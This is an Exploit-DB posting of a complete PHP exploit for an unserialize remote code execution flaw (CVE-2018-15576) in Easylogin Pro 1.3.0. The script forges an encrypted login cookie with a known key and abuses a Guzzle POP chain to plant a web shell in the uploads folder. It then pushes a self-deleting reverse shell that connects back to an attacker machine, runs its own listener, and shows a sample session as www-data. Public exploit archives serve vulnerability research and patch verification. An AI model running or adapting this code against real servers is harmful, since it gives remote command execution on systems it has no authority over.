Easylogin Pro 1.3.0 – ‘Encryptor.php’ Unserialize Remote Code Execution

  • 作者: mr_me
    日期: 2018-08-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45227/
  • #!/usr/bin/php
    <?php
    /*
    Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
    Version: 1.3.0
    Platform: Ubuntu Server 18.04.1 
    
    Bug found by: @f99942
    Tekniq/exploit by: @steventseeley (mr_me)
    CVE: CVE-2018-15576
    
    Notes:
    ======
    
    - This is not really a security issue I guess, because you need to know the key. 
    But a simple disclosure bug could mean its game over for Easylogin Pro
    - You will need PHP with threading support to run this exploit
    - Laravel + Guzzle === lol
    
    Example:
    ========
    
    mr_me@pluto:~$ php -m | grep pthreads && php --version
    pthreads
    PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
    Copyright (c) 1997-2018 The PHP Group
    Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies
    
    mr_me@pluto:~$ ./e.php 
    
    Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
    Bug found by: @f99942
    Tekniq/exploit by: @steventseeley (mr_me)
    
    ----------------------------------------------------
    Usage: php ./e.php -t <ip> -c <ip:port>
    -t:target server (ip with or without port)
    -c:connectback server (ip and port)
    Example:
    php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
    ----------------------------------------------------
    mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337
    
    Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
    bug found by: @f99942
    tekniq/exploit by: @steventseeley (mr_me)
    
    (+) snap...
    (+) crackle...
    (+) pop!
    (+) connectback from 172.16.175.137 via port 41860
    
    www-data@target:/var/www/html/uploads$ id;uname -a
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    www-data@target:/var/www/html/uploads$ ls -la
    total 12
    drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
    drwxr-xr-x 9 www-data www-data 4096 Aug9 14:49 ..
    -rwxrwxrwx 1 root root 13 Dec 122017 .gitignore
    www-data@target:/var/www/html/uploads$ php --version
    PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul4 2018 16:55:24) ( NTS )
    Copyright (c) 1997-2018 The PHP Group
    Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
    www-data@target:/var/www/html/uploads$
    */
    
    namespace GuzzleHttp\Cookie;
    
    // change these to work against your target
    $key= "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
    $path = "/var/www/html";
     
    class Encrypter {
    protected $key;
    protected $cipher;
    
    public function __construct($key, $cipher = 'AES-256-CBC'){
    $key = (string) $key;
    $this->key = $key;
    $this->cipher = $cipher;
    }
    
    public function encrypt($value, $serialize = true){
    $iv = random_bytes(openssl_cipher_iv_length($this->cipher));
    $value = openssl_encrypt(
    $serialize ? serialize($value) : $value,
    $this->cipher, $this->key, 0, $iv
    );
    if ($value === false) {
    throw new EncryptException('Could not encrypt the data.');
    }
    $mac = $this->hash($iv = base64_encode($iv), $value);
    $json = json_encode(compact('iv', 'value', 'mac'));
    if (json_last_error() !== JSON_ERROR_NONE) {
    throw new EncryptException('Could not encrypt the data.');
    }
    return base64_encode($json);
    }
    
    public function encryptString($value){
    return $this->encrypt($value, false);
    }
    
    protected function hash($iv, $value){
    return hash_hmac('sha256', $iv.$value, $this->key);
    }
    }
    
    // pop chain
    interface ToArrayInterface {}
    
    class SetCookie implements ToArrayInterface {
    private $data;
    
    public function __construct(array $data = []){
    $this->data = $data;
    }
    }
    
    class CookieJar implements ToArrayInterface {
    private $cookies;
    
    public function setCookie(SetCookie $cookie){
    $this->cookies = array($cookie);
    }
    }
    
    class FileCookieJar extends CookieJar {
    private $filename;
    
    public function __construct($bd_file, $cbh, $cbp){
    $this->filename = $bd_file;
    $this->setCookie(new SetCookie(array(
    "Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>', 
    "Expires" => true,
    "Discard" => false,
    ))); 
    }
    }
    
    class Exploit{
    private $target;
    private $targetport;
    private $cbhost;
    private $cbport;
    private $key;
    private $path;
    
    public function __construct($t, $tp, $cbh, $cbp, $k, $p){
    $this->target = $t;
    $this->targetport = $tp;
    $this->cbhost = $cbh;
    $this->cbport = $cbp;
    $this->key= $k;
    $this->path = $p;
    }
    
    public function run(){
    
    // its possible to leak the path if app.php contains 'debug' => true
    // also, uploads is writable by default for avatars
    $fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
    $e = new Encrypter($this->key);
    $this->p = $e->encryptString(serialize($fcj));
    
    // hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login 
    $c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
    if ($c === 500){
    print "(+) pop!\r\n";
    
    // start our listener
    $s = new Shell($this->cbport); 
    $s->start();
    
    // msf reverse shell with some stuff modified
    $rs = <<<'PHP'
    @error_reporting(-1);
    @set_time_limit(0); 
    @ignore_user_abort(1);
    $dis=@ini_get('disable_functions');
    if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
    }else{
    $dis=array();
    }
    $ipaddr='[cbhost]';
    $port=[cbport];
    function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
    $c=$c." 2>&1\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
    $o = "NULL";
    }
    return $o;
    }
    // we disappear like a fart in the wind
    @unlink("si.php");
    $nofuncs='no exec functions';
    $s=@fsockopen("tcp://$ipaddr",$port);
    while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
    chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
    break;
    }else{
    $out=PtdSlhY(substr($c,0,-1));
    if($out===false){
    fwrite($s, $nofuncs);
    break;
    }
    }
    fwrite($s,$out);
    }
    fclose($s);
    PHP;
    $rs = str_replace("[cbhost]", $this->cbhost, $rs);
    $rs = str_replace("[cbport]", $this->cbport, $rs);
    $php = base64_encode($rs);
    $this->do_get("uploads/si.php", array("si: $php"));
    }
    }
    
    private function do_get($p = "index.php", array $h = []){
    $curl = curl_init();
    curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_URL => "http://$this->target/$p",
    CURLOPT_HTTPHEADER => $h,
    CURLOPT_PORT => (int) $this->targetport
    ));
    $resp = curl_exec($curl);
    return curl_getinfo($curl, CURLINFO_HTTP_CODE);
    }
    }
    
    class Shell extends \Thread{
    private $cbport;
    
    public function __construct($cbp){
    $this->cbport = $cbp;
    }
    
    public function run(){ 
    $sock= @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    $ret = @socket_bind($sock, 0, (int) $this->cbport);
    $ret = @socket_listen($sock, 5);
    $msgsock = @socket_accept($sock);
    @socket_close($sock);
    $start = true;
    $fp = fopen("php://stdin", "r");
    while(false !== @socket_select($r = array($msgsock))){
    if ($start === true){
    if (socket_getpeername($r[0], $a, $p) === true){
    print "(+) connectback from $a via port $p\r\n";
    $s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
    }
    }
    $start = false;
    
    // the pretty shells illusion
    print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";
    
    // get our command...
    $c = fgets($fp);
    
    // if the attacker enters nothing, continue...
    if (strpos("\n", $c) === 0){
    continue;
    }
    if (strpos($c, "cd") === false){
    print $this->exec_cmd($msgsock, $c);
    }elseif (strpos($c, "cd") !== false){
    $this->exec_cmd($msgsock, $c, false);
    }
    if(in_array($c, array("exit\n", "quit\n"))){
    break;
    }
    }
    fclose($fp);
    }
    
    private function exec_cmd($c, $cmd, $ret=true){
    
    // send our command to the reverse shell
    @socket_write($c, $cmd, strlen($cmd));
    
    if ($ret == true){
    // we don't care to get the shell prompt back...
    $resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
    if ($resp === "NULL"){
    return "";
    }else{
    return $resp;
    }
    }
    }
    }
    
    print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
    Bug found by: @f99942
    Tekniq/exploit by: @steventseeley (mr_me)\r\n");
     
    if ($argc < 3) {
    print_r("
    ----------------------------------------------------
    Usage: php ".$argv[0]." -t <ip> -c <ip:port>
    -t:target server (ip with or without port)
    -c:connectback server (ip and port)
    Example:
    php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
    ----------------------------------------------------
    "); die; }
    
    function set_args($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
    if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {
    $_ARG[$reg[1]] = $reg[2];
    } elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {
    $_ARG[$reg[1]] = "true";
    } else {
    $_ARG["input"][] = $arg;
    }
    }
    return $_ARG;
    }
     
    $args = set_args($argv);
    $host = $args["input"]["1"];
    $cbsp = $args["input"]["2"];
     
    if (strpos($host, ":") == true){
    $host_and_port = explode(":", $host);
    $host = $host_and_port[0];
    $port = $host_and_port[1];
    }else{
    $port = 80;
    }
    
    if (strpos($cbsp, ":") == true){
    $cbhost_and_cbport = explode(":", $cbsp);
    $cbhost = $cbhost_and_cbport[0];
    $cbport = $cbhost_and_cbport[1];
    }else{
    $cbport = 1337;
    }
    
    $ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
    if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){
    
    // exploit entry
    $poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);
    print "\r\n(+) snap...\r\n(+) crackle...\r\n";
    $poc->run();
    }
    /*
    eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu
    RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi
    VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2
    a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3
    WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh
    MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh
    NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9
    */
    ?>